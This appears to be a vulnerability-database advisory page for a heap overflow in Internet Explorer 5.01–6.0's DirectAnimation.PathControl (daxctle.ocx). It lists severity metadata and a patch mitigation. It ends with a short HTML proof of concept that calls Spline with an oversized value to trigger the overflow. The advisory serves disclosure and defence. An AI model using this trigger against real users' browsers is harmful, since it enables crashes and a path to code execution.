Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability

vendor:

Internet Explorer

by:

nop (nop#xsec.org)

7.5

CVSS

HIGH

Heap Buffer-Overflow Vulnerability

119

CWE

Product Name: Internet Explorer

Affected Version From: Microsoft Internet Explorer 5.01

Affected Version To: Microsoft Internet Explorer 6.0

Patch Exists: YES

Related CWE: N/A

CPE: a:microsoft:internet_explorer

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 2000 SP4/XP SP2/2003 SP1

2005

Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability

Microsoft Internet Explorer is prone to a heap buffer-overflow vulnerability. The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. An attacker can exploit this issue to execute arbitrary code within context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Mitigation:

Ensure that all security patches released by the vendor are applied to the affected system.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/19738/info

Microsoft Internet Explorer is prone to a heap buffer-overflow vulnerability.. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls. 

An attacker can exploit this issue to execute arbitrary code within context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

// Internet Explorer (daxctle.ocx) Heap Overflow Vulnerability
// tested on Windows 2000 SP4/XP SP2/2003 SP1

// http://www.xsec.org
// nop (nop#xsec.org)

// CLSID: {D7A7D7C3-D47F-11D0-89D3-00A0C90833E6}
// Info: Microsoft DirectAnimation Path
// ProgID: DirectAnimation.PathControl
// InprocServer32: C:\WINNT\system32\daxctle.ocx

--!>
<html>
<head>
<title>test</title>
</head>
<body>
<script>

var target = new ActiveXObject("DirectAnimation.PathControl");

target.Spline(0xffffffff, 1);

</script>
</body>
</html>